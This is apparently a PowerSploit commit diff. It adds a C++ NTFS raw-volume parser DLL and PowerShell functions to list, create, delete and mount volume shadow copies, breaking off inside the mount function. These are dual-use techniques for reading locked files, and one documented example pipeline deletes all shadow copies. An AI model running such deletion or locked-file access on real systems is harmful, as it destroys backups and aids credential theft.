BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
public:
BOOL ParseFileRecord(ULONGLONG fileRef);
BOOL ParseAttrs();
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
__inline void SetAttrMask(DWORD mask);
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
const CAttrBase* FindNextAttr(DWORD attrType) const;
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
__inline ULONGLONG GetFileSize() const;
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
const CAttrBase* FindStream(_TCHAR *name = NULL);
__inline BOOL IsDeleted() const;
__inline BOOL IsDirectory() const;
__inline BOOL IsReadOnly() const;
__inline BOOL IsHidden() const;
__inline BOOL IsSystem() const;
__inline BOOL IsCompressed() const;
__inline BOOL IsEncrypted() const;
__inline BOOL IsSparse() const;
}; // CFileRecord
#include "NTFS_Attribute.h"
CFileRecord::CFileRecord(const CNTFSVolume *volume)
{
_ASSERT(volume);
Volume = volume;
FileRecord = NULL;
FileReference = (ULONGLONG)-1;
ClearAttrRawCB();
// Default to parse all attributes
AttrMask = MASK_ALL;
}
CFileRecord::~CFileRecord()
{
ClearAttrs();
if (FileRecord)
delete FileRecord;
}
// Free all CAttr_xxx
void CFileRecord::ClearAttrs()
{
for (int i=0; i<ATTR_NUMS; i++)
{
AttrList[i].RemoveAll();
}
}
// Verify US and update sectors
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
{
int i;
for (i=0; i<sectors; i++)
{
sector += ((Volume->SectorSize>>1) - 1);
if (*sector != usn)
return FALSE; // USN error
*sector = usarray[i]; // Write back correct data
sector++;
}
return TRUE;
}
// Call user defined Callback routines for an attribute
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
{
*bDiscard = FALSE;
if (AttrRawCallBack[attType])
AttrRawCallBack[attType](ahc, bDiscard);
else if (Volume->AttrRawCallBack[attType])
Volume->AttrRawCallBack[attType](ahc, bDiscard);
}
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
{
switch (ahc->Type)
{
case ATTR_TYPE_STANDARD_INFORMATION:
return new CAttr_StdInfo(ahc, this);
case ATTR_TYPE_ATTRIBUTE_LIST:
if (ahc->NonResident)
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
else
return new CAttr_AttrList<CAttrResident>(ahc, this);
case ATTR_TYPE_FILE_NAME:
return new CAttr_FileName(ahc, this);
case ATTR_TYPE_VOLUME_NAME:
return new CAttr_VolName(ahc, this);
case ATTR_TYPE_VOLUME_INFORMATION:
return new CAttr_VolInfo(ahc, this);
case ATTR_TYPE_DATA:
if (ahc->NonResident)
return new CAttr_Data<CAttrNonResident>(ahc, this);
else
return new CAttr_Data<CAttrResident>(ahc, this);
case ATTR_TYPE_INDEX_ROOT:
return new CAttr_IndexRoot(ahc, this);
case ATTR_TYPE_INDEX_ALLOCATION:
return new CAttr_IndexAlloc(ahc, this);
case ATTR_TYPE_BITMAP:
if (ahc->NonResident)
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
else
// Resident Bitmap may exist in a directory's FileRecord
// or in $MFT for a very small volume in theory
return new CAttr_Bitmap<CAttrResident>(ahc, this);
// Unhandled Attributes
default:
*bUnhandled = TRUE;
if (ahc->NonResident)
return new CAttrNonResident(ahc, this);
else
return new CAttrResident(ahc, this);
}
}
// Parse a single Attribute
// Return False on error
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
{
DWORD attrIndex = ATTR_INDEX(ahc->Type);
if (attrIndex < ATTR_NUMS)
{
BOOL bDiscard = FALSE;
UserCallBack(attrIndex, ahc, &bDiscard);
if (!bDiscard)
{
BOOL bUnhandled = FALSE;
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
if (attr)
{
if (bUnhandled)
{
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
}
AttrList[attrIndex].InsertEntry(attr);
return TRUE;
}
else
{
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
return FALSE;
}
}
else
{
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
return TRUE;
}
}
else
{
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
return FALSE;
}
}
// Read File Record
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
{
FILE_RECORD_HEADER *fr = NULL;
DWORD len;
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
{
// Take as continuous disk allocation
LARGE_INTEGER frAddr;
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
return FALSE;
else
{
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
&& len==Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
else
{
// May be fragmented $MFT
ULONGLONG frAddr;
frAddr = (Volume->FileRecordSize) * fileRef;
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
&& len == Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
// Read File Record, verify and patch the US (update sequence)
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
{
// Clear previous data
ClearAttrs();
if (FileRecord)
{
delete FileRecord;
FileRecord = NULL;
}
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
if (fr == NULL)
{
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
FileReference = (ULONGLONG)-1;
}
else
{
FileReference = fileRef;
if (fr->Magic == FILE_RECORD_MAGIC)
{
// Patch US
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
WORD usn = *usnaddr;
WORD *usarray = usnaddr + 1;
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
{
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
FileRecord = fr;
return TRUE;
}
else
{
NTFS_TRACE("Update Sequence Number error\n");
}
}
else
{
NTFS_TRACE("Invalid file record\n");
}
delete fr;
}
return FALSE;
}
// Visit IndexBlocks recursivly to find a specific FileName
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return FALSE;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ib.FindNextEntry();
}
}
return FALSE;
}
// Traverse SubNode recursivly in ascending order
// Call user defined callback routine once found an subentry
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
if (ie->HasName())
seCallBack(ie);
ie = ib.FindNextEntry();
}
}
}
// Parse all the attributes in a File Record
// And insert them into a link list
BOOL CFileRecord::ParseAttrs()
{
_ASSERT(FileRecord);
// Clear previous data
ClearAttrs();
// Visit all attributes
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
dataPtr += FileRecord->OffsetOfAttr;
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
{
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
{
if (!ParseAttr(ahc)) // Parse error
return FALSE;
if (IsEncrypted() || IsCompressed())
{
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
return FALSE;
}
}
dataPtr += ahc->TotalSize;
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
}
return TRUE;
}
// Install Attribute raw data CallBack routines for a single File Record
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CFileRecord::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
// Choose attributes to handle, unwanted attributes will be discarded silently
__inline void CFileRecord::SetAttrMask(DWORD mask)
{
// Standard Information and Attribute List is needed always
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
}
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
{
_ASSERT(attrCallBack);
for (int i = 0; i < ATTR_NUMS; i ++)
{
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
{
const CAttrBase *ab = AttrList[i].FindFirstEntry();
while (ab)
{
BOOL bStop;
bStop = FALSE;
attrCallBack(ab, context, &bStop);
if (bStop)
return;
ab = AttrList[i].FindNextEntry();
}
}
}
}
// Find Attributes
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
}
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
}
// Get File Name (First Win32 name)
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
{
// A file may have several filenames
// Return the first Win32 filename
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
while (fn)
{
if (fn->IsWin32Name())
{
int len = fn->GetFileName(buf, bufLen);
if (len != 0)
return len; // success or fail
}
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
}
return 0;
}
// Get File Size
__inline ULONGLONG CFileRecord::GetFileSize() const
{
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
return fn ? fn->GetFileSize() : 0;
}
// Get File Times
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
{
// Standard Information attribute hold the most updated file time
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
if (si)
si->GetFileTime(writeTm, createTm, accessTm);
else
{
writeTm->dwHighDateTime = 0;
writeTm->dwLowDateTime = 0;
if (createTm)
{
createTm->dwHighDateTime = 0;
createTm->dwLowDateTime = 0;
}
if (accessTm)
{
accessTm->dwHighDateTime = 0;
accessTm->dwLowDateTime = 0;
}
}
}
// Traverse all sub directories and files contained
// Call user defined callback routine once found an entry
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
{
_ASSERT(seCallBack);
// Start traversing from IndexRoot (B+ tree root node)
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
// Visit subnode first
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
if (ie->HasName())
seCallBack(ie);
ie = ieList->FindNextEntry();
}
}
// Find a specific FileName from InexRoot described B+ tree
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
{
// Start searching from IndexRoot (B+ tree root node)
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return FALSE;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ieList->FindNextEntry();
}
return FALSE;
}
// Find Data attribute class of
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
{
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
while (data)
{
if (data->IsUnNamed() && name == NULL) // Unnamed stream
break;
if ((!data->IsUnNamed()) && name) // Named stream
{
_TCHAR an[MAX_PATH];
if (data->GetAttrName(an, MAX_PATH))
{
if (_tcscmp(an, name) == 0)
break;
}
}
data = FindNextAttr(ATTR_TYPE_DATA);
}
return data;
}
// Check if it's deleted or in use
__inline BOOL CFileRecord::IsDeleted() const
{
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
}
// Check if it's a directory
__inline BOOL CFileRecord::IsDirectory() const
{
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
}
__inline BOOL CFileRecord::IsReadOnly() const
{
// Standard Information attribute holds the most updated file time
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsReadOnly() : FALSE;
}
__inline BOOL CFileRecord::IsHidden() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsHidden() : FALSE;
}
__inline BOOL CFileRecord::IsSystem() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSystem() : FALSE;
}
__inline BOOL CFileRecord::IsCompressed() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsCompressed() : FALSE;
}
__inline BOOL CFileRecord::IsEncrypted() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsEncrypted() : FALSE;
}
__inline BOOL CFileRecord::IsSparse() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSparse() : FALSE;
}
///////////////////////////////////////
// NTFS Volume Implementation
///////////////////////////////////////
CNTFSVolume::CNTFSVolume(_TCHAR volume)
{
hVolume = INVALID_HANDLE_VALUE;
VolumeOK = FALSE;
MFTRecord = NULL;
MFTData = NULL;
Version = 0;
ClearAttrRawCB();
if (!OpenVolume(volume))
return;
// Verify NTFS volume version (must >= 3.0)
CFileRecord vol(this);
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
return;
vol.ParseAttrs();
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
if (!vi)
return;
Version = vi->GetVersion();
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
if (Version < 0x0300) // NT4 ?
return;
#ifdef _DEBUG
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
if (vn)
{
char volname[MAX_PATH];
if (vn->GetName(volname, MAX_PATH) > 0)
{
NTFS_TRACE1("NTFS volume name: %s\n", volname);
}
}
#endif
VolumeOK = TRUE;
MFTRecord = new CFileRecord(this);
MFTRecord->SetAttrMask(MASK_DATA);
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
{
MFTRecord->ParseAttrs();
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
if (MFTData == NULL)
{
delete MFTRecord;
MFTRecord = NULL;
}
}
}
CNTFSVolume::~CNTFSVolume()
{
if (hVolume != INVALID_HANDLE_VALUE)
CloseHandle(hVolume);
if (MFTRecord)
delete MFTRecord;
}
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
{
// Verify parameter
if (!_istalpha(volume))
{
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
return FALSE;
}
_TCHAR volumePath[7];
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
volumePath[6] = _T('\0');
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
DWORD num;
NTFS_BPB bpb;
// Read the first sector (boot sector)
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
{
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
{
// Log important volume parameters
SectorSize = bpb.BytesPerSector;
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
ClusterSize = SectorSize * bpb.SectorsPerCluster;
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
int sz = (char)bpb.ClustersPerFileRecord;
if (sz > 0)
FileRecordSize = ClusterSize * sz;
else
FileRecordSize = 1 << (-sz);
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
sz = (char)bpb.ClustersPerIndexBlock;
if (sz > 0)
IndexBlockSize = ClusterSize * sz;
else
IndexBlockSize = 1 << (-sz);
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
MFTAddr = bpb.LCN_MFT * ClusterSize;
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
}
else
{
NTFS_TRACE("Volume file system is not NTFS\n");
goto IOError;
}
}
else
{
NTFS_TRACE("Read boot sector error\n");
goto IOError;
}
}
else
{
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
IOError:
if (hVolume != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolume);
hVolume = INVALID_HANDLE_VALUE;
}
return FALSE;
}
return TRUE;
}
// Check if Volume is successfully opened
__inline BOOL CNTFSVolume::IsVolumeOK() const
{
return VolumeOK;
}
// Get NTFS volume version
__inline WORD CNTFSVolume::GetVersion() const
{
return Version;
}
// Get File Record count
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
{
return (MFTData->GetDataSize() / FileRecordSize);
}
// Get BPB information
__inline DWORD CNTFSVolume::GetSectorSize() const
{
return SectorSize;
}
__inline DWORD CNTFSVolume::GetClusterSize() const
{
return ClusterSize;
}
__inline DWORD CNTFSVolume::GetFileRecordSize() const
{
return FileRecordSize;
}
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
{
return IndexBlockSize;
}
// Get MFT starting address
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
{
return MFTAddr;
}
// Install Attribute CallBack routines for the whole Volume
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CNTFSVolume::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
#endif
@@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview
========================================================================
AppWizard has created this NTFSParserDLL DLL for you.
This file contains a summary of what you will find in each of the files that
make up your NTFSParserDLL application.
NTFSParserDLL.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NTFSParserDLL.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NTFSParserDLL.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,36 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// NTFSParserDLL.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,18 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
#include <string>
#include <iostream>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
+2 -2
View File
@@ -1,4 +1,4 @@
function Out-Minidump
function Out-Minidump
{
<#
.SYNOPSIS
@@ -127,4 +127,4 @@
}
END {}
}
}
+288
View File
@@ -0,0 +1,288 @@
function Get-VolumeShadowCopy
{
<#
.SYNOPSIS
Lists the device paths of all local volume shadow copies.
PowerSploit Function: Get-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
}
function New-VolumeShadowCopy
{
<#
.SYNOPSIS
Creates a new volume shadow copy.
PowerSploit Function: New-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
.PARAMETER Volume
Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
.PARAMETER Context
Context that the provider uses when creating the shadow. The default is "ClientAccessible".
.EXAMPLE
New-VolumeShadowCopy -Volume C:\
Description
-----------
Creates a new VolumeShadowCopy of the C drive
#>
Param(
[Parameter(Mandatory = $True)]
[ValidatePattern('^\w:\\')]
[String]
$Volume,
[Parameter(Mandatory = $False)]
[ValidateSet("ClientAccessible")]
[String]
$Context = "ClientAccessible"
)
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Save VSS Service initial state
$running = (Get-Service -Name VSS).Status
$class = [WMICLASS]"root\cimv2:win32_shadowcopy"
$return = $class.create("$Volume", "$Context")
switch($return.returnvalue)
{
1 {Write-Error "Access denied."; break}
2 {Write-Error "Invalid argument."; break}
3 {Write-Error "Specified volume not found."; break}
4 {Write-Error "Specified volume not supported."; break}
5 {Write-Error "Unsupported shadow copy context."; break}
6 {Write-Error "Insufficient storage."; break}
7 {Write-Error "Volume is in use."; break}
8 {Write-Error "Maximum number of shadow copies reached."; break}
9 {Write-Error "Another shadow copy operation is already in progress."; break}
10 {Write-Error "Shadow copy provider vetoed the operation."; break}
11 {Write-Error "Shadow copy provider not registered."; break}
12 {Write-Error "Shadow copy provider failure."; break}
13 {Write-Error "Unknown error."; break}
default {break}
}
# If VSS Service was Stopped at the start, return VSS to "Stopped" state
if($running -eq "Stopped")
{
Stop-Service -Name VSS
}
}
function Remove-VolumeShadowCopy
{
<#
.SYNOPSIS
Deletes a volume shadow copy.
PowerSploit Function: Remove-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
.PARAMETER InputObject
Specifies the Win32_ShadowCopy object to remove
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Remove-VolumeShadowCopy
Description
-----------
Removes all volume shadow copy
.EXAMPLE
Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
Description
-----------
Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
#>
[CmdletBinding(SupportsShouldProcess = $True)]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String]
$DevicePath
)
PROCESS
{
if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed"))
{
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
}
}
}
function Mount-VolumeShadowCopy
{
<#
.SYNOPSIS
Mounts a volume shadow copy.
